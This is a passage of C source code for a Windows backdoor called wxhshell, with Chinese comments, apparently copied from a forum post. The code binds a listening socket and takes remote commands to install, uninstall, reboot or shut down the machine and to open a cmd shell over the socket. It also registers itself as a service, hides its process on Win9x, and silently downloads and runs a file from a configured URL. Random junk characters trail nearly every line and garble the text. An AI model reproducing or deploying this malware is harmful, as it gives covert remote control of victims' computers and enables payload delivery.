  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e~ OrZhJ=_  
  } >QYx9`x&  
  else { EE]xZz>o  
1/mBp+D  
    switch(cmd[0]) { >[wxZ5))  
  EoutB Vm  
  // 帮助 I*%3E.Z@g  
  case '?': { Q0"?TSY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >dK0&+A  
    break; G.O;[(3ab  
  } n eu<zSS  
  // 安装 Q^va +O  
  case 'i': { !+$QN4{9  
    if(Install()) ;5;>f)diS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.@{5f3T  
    else r&xIVFPI[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O1jiD_Y!9  
    break; <EqS ,cO^  
    } 'eBD/w5U  
  // 卸载 ~roNe|P  
  case 'r': { )0 E_Y@  
    if(Uninstall()) '%/=\Q`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y(<{e~  
    else AVLY|79#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|RoLV  
    break; "Ai\NC  
    } &V 7J5~_  
  // 显示 wxhshell 所在路径 Y>3zpeQ!&  
  case 'p': { u= dj3q  
    char svExeFile[MAX_PATH]; *VXx\&  
    strcpy(svExeFile,"\n\r"); Pi1LOCq  
      strcat(svExeFile,ExeFile); G)YmaHeI;[  
        send(wsh,svExeFile,strlen(svExeFile),0); 0= bXL!]  
    break; LkHH7Pd@  
    } 7./-|#  
  // 重启 VTR4uT-  
  case 'b': { v(0ujfSR0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); au19Q*r9  
    if(Boot(REBOOT)) G[ns^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/.s`hz  
    else { =#4>c8MM  
    closesocket(wsh); %x,HQNRDU  
    ExitThread(0); Ie!">8."  
    } }BW&1*M{  
    break; .!^OmT,u  
    } %n6<6t`$  
  // 关机 @VHstjos^V  
  case 'd': { 0VQBm^$(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z2Wblh"_  
    if(Boot(SHUTDOWN)) IHCxM|/k(M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AW \uE[kg  
    else { 2sgp$r  
    closesocket(wsh); lAG@nh^  
    ExitThread(0); zk3\v "  
    } 28M^ F~0  
    break; 9Bpb?  
    } ?{ \7th37  
  // 获取shell id+EBVHAd  
  case 's': { :I /9j=@1  
    CmdShell(wsh); HZ!<dy3  
    closesocket(wsh); z|],s]F>G  
    ExitThread(0); V%;dTCq  
    break; R f)|p;  
  } XySkm2y  
  // 退出 f'"PQr^9  
  case 'x': { /T  {R\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~C>;0a;<:  
    CloseIt(wsh); `K@N\VM  
    break; ' xaPahx;  
    } I AUc.VH  
  // 离开 wAu]U6!  
  case 'q': { }+S~Ah?(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q},,[t  
    closesocket(wsh); T1RY1hb|g>  
    WSACleanup(); 9MJ:]F5+  
    exit(1); .K-d  
    break; 9 4bDJy1  
        } 1NZpd'$c  
  } L~h:>I+pG  
  } 7s%1?$B  
vMX\q  
  // 提示信息 =n=!s{A:t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n(LO`{  
} [vuikJP>1k  
  } im+g |9@%  
H_S"4ISS_  
  return; }jce5E  
} ^wSGrV'  
!]7b31$M_  
// shell模块句柄 t{s>B]i^_w  
int CmdShell(SOCKET sock) ] !1HN3  
{ UWqiA`,  
STARTUPINFO si; 7)O+s/.P)  
ZeroMemory(&si,sizeof(si)); p]~PyzG!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hsov0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (6H 7?nv  
PROCESS_INFORMATION ProcessInfo; =],c$)  
char cmdline[]="cmd"; Z s| *+[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (I;81h`1G  
  return 0; QCDica `+*  
} iM9k!u FE  
Ap"%%D^{:  
// 自身启动模式 FncP,F$8   
int StartFromService(void) "5$p=|  
{ L`O7-'`  
typedef struct J?t(TW6E  
{ Iq19IbR8  
  DWORD ExitStatus; F3q<j$y  
  DWORD PebBaseAddress; fpZHE=}r  
  DWORD AffinityMask; A=ez,87  
  DWORD BasePriority; # ax% n  
  ULONG UniqueProcessId; (}T},ygQ  
  ULONG InheritedFromUniqueProcessId; |V}tTx1  
}   PROCESS_BASIC_INFORMATION; ?qHQ#0 @y]  
=<#++;!I  
PROCNTQSIP NtQueryInformationProcess; S}Z@g  
dF! B5(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 41.xi9V2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X?u=R)uG  
xr Ne:Aj  
  HANDLE             hProcess; &F;bg  
  PROCESS_BASIC_INFORMATION pbi; n^55G>"0|  
{fEb>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U"UsQYa_  
  if(NULL == hInst ) return 0; @kT@IQkri  
i-WP#\s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &>Y.$eW_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |yj0Rv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GqP02P'2  
 fOsvOC  
  if (!NtQueryInformationProcess) return 0; |,TBP@  
M0vX9;J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gf~^Xv!T  
  if(!hProcess) return 0; NYxL7:9  
8U]mr+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 09Q5gal  
nemC-4}  
  CloseHandle(hProcess); A3q#,%  
!iX/Ni:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \|]+sQWQ  
if(hProcess==NULL) return 0; :To{&T  
z}r  
HMODULE hMod; z^/9YzA!6  
char procName[255]; Lcy6G%A  
unsigned long cbNeeded; AEFd,;GF  
&(o&Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #'i,'h+F  
ofYZ! -V  
  CloseHandle(hProcess);  h y\iot  
R:^jQ'1  
if(strstr(procName,"services")) return 1; // 以服务启动 }U}ppq0Eo  
0E3;f;'X  
  return 0; // 注册表启动 1Z(9<M1!M  
} w:1UwgcPC  
JnQ@uZb`  
// 主模块 ,a2=OV  
int StartWxhshell(LPSTR lpCmdLine) "N,@J-]/k  
{ Gt,VSpb~s  
  SOCKET wsl; o=lZl_5/u;  
BOOL val=TRUE; v}!^RW 'X  
  int port=0; ='e_9b\K  
  struct sockaddr_in door; ;kG"m7-/  
< jX5}@`z  
  if(wscfg.ws_autoins) Install(); *xx)j:Sc2  
r0\C2g_X  
port=atoi(lpCmdLine); {8;}y[R  
B1Z;  
if(port<=0) port=wscfg.ws_port; qsQTJlq)  
][8`}ki 1  
  WSADATA data; pgv, Su  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cxPOO#  
mgq4g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tC=K;zsXpz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d7Cs a c  
  door.sin_family = AF_INET; c[vFh0s"m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?l|&JgJ$  
  door.sin_port = htons(port); v(uNqX.BC  
@y eAM7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?jbx7')  
closesocket(wsl); `lbRy($L  
return 1; %w!x \UV  
} G8Ow;:Ro  
':=20V  
  if(listen(wsl,2) == INVALID_SOCKET) { m.5@q mQ  
closesocket(wsl); eG dFupfz  
return 1; ).tTDZ   
} h>z5m   
  Wxhshell(wsl); tC/+  
  WSACleanup(); (@* %moo  
?cK67|%W  
return 0; x.I?)x!C'  
@RdNAP_6  
} DoN]v  
yZmeke)_  
// 以NT服务方式启动 6OtNWbB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *m'&<pg]X  
{ + :b"0pu-H  
DWORD   status = 0; |uM=pm;H  
  DWORD   specificError = 0xfffffff; :prx:7  
F}B2nL&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {X nBj}C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <#./q LSR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3CSwcD  
  serviceStatus.dwWin32ExitCode     = 0; A(+V{1 L'  
  serviceStatus.dwServiceSpecificExitCode = 0; Hm~.u.)\.  
  serviceStatus.dwCheckPoint       = 0; iQiXwEAi[  
  serviceStatus.dwWaitHint       = 0; cA90FqUH  
Yqt~h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yic4|N?u  
  if (hServiceStatusHandle==0) return; (;N#Gqb6l  
=ATQ2\T$m  
status = GetLastError(); =6qSo @  
  if (status!=NO_ERROR) K@"B^f0mU  
{ 83)m#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $?OQtz@  
    serviceStatus.dwCheckPoint       = 0; #zb67mg~  
    serviceStatus.dwWaitHint       = 0; M2qor.d  
    serviceStatus.dwWin32ExitCode     = status; P;IM -]  
    serviceStatus.dwServiceSpecificExitCode = specificError; l5enlYH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k/Q8:qA  
    return; 1_@vxi~aW_  
  } [|C  
z gxMDLH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MiMDEe%f%  
  serviceStatus.dwCheckPoint       = 0; Ud#xgs'  
  serviceStatus.dwWaitHint       = 0; 1b2xWzpG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pT:6A[&  
} N=@8~{V.  
oSO~72  
// 处理NT服务事件,比如:启动、停止 :{-/b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8'Q&FW3"  
{ J[\8:qE  
switch(fdwControl) 8(!?y[  
{ R{9G$b1Due  
case SERVICE_CONTROL_STOP: ?:7$c  
  serviceStatus.dwWin32ExitCode = 0; rFW,x_*_vP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ma ]*Pled  
  serviceStatus.dwCheckPoint   = 0; YgQb(umK  
  serviceStatus.dwWaitHint     = 0; y@ c[S;  
  { tR?)C=4,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {CgF{7`  
  }  qt. =  
  return; J(,{ -d-E  
case SERVICE_CONTROL_PAUSE: Ye/Y<Ij  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AFWWGz  
  break; CI|#,^  
case SERVICE_CONTROL_CONTINUE: MX|@x~9W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; suN}6C I  
  break; #*"I?B/fd8  
case SERVICE_CONTROL_INTERROGATE: r <2&_$|  
  break; NLev(B:OQH  
}; O7f"8|=HX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *3y_FTh8ra  
} H<l0]-S{  
<07~EP  
// 标准应用程序主函数 fTi5Ej*/?)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $$T a  
{ tG 0 &0`  
S6{y%K2y&  
// 获取操作系统版本 )kE1g&  
OsIsNt=GetOsVer(); Bdib)t[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n?v$C:jLN  
PWS5s^WM  
  // 从命令行安装 Aj"fkY|Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); lt{"N'Gw6  
S\@U3|Q5  
  // 下载执行文件 xHlO~:Lc  
if(wscfg.ws_downexe) { q)RTy|NJ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %)y-BdSp.  
  WinExec(wscfg.ws_filenam,SW_HIDE); `OWwqLoeA  
} %eJE@$  
vZ|Wj] ;o  
if(!OsIsNt) { *>jJ<8!  
// 如果时win9x,隐藏进程并且设置为注册表启动 MVp+2@)}s  
HideProc(); F441K,I  
StartWxhshell(lpCmdLine); odTIz{9qG  
} stq%Eg?  
else lkQ(?7  
  if(StartFromService()) >oyZD^gj  
  // 以服务方式启动 PC& (1kJ  
  StartServiceCtrlDispatcher(DispatchTable); jB\Knxm v  
else .:Zb~  
  // 普通方式启动 (l)r.Vj  
  StartWxhshell(lpCmdLine); GAlM:>  
@[O|n)7  
return 0; P2 z~U  
}
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只看该作者 1 发表于: 2006-10-10
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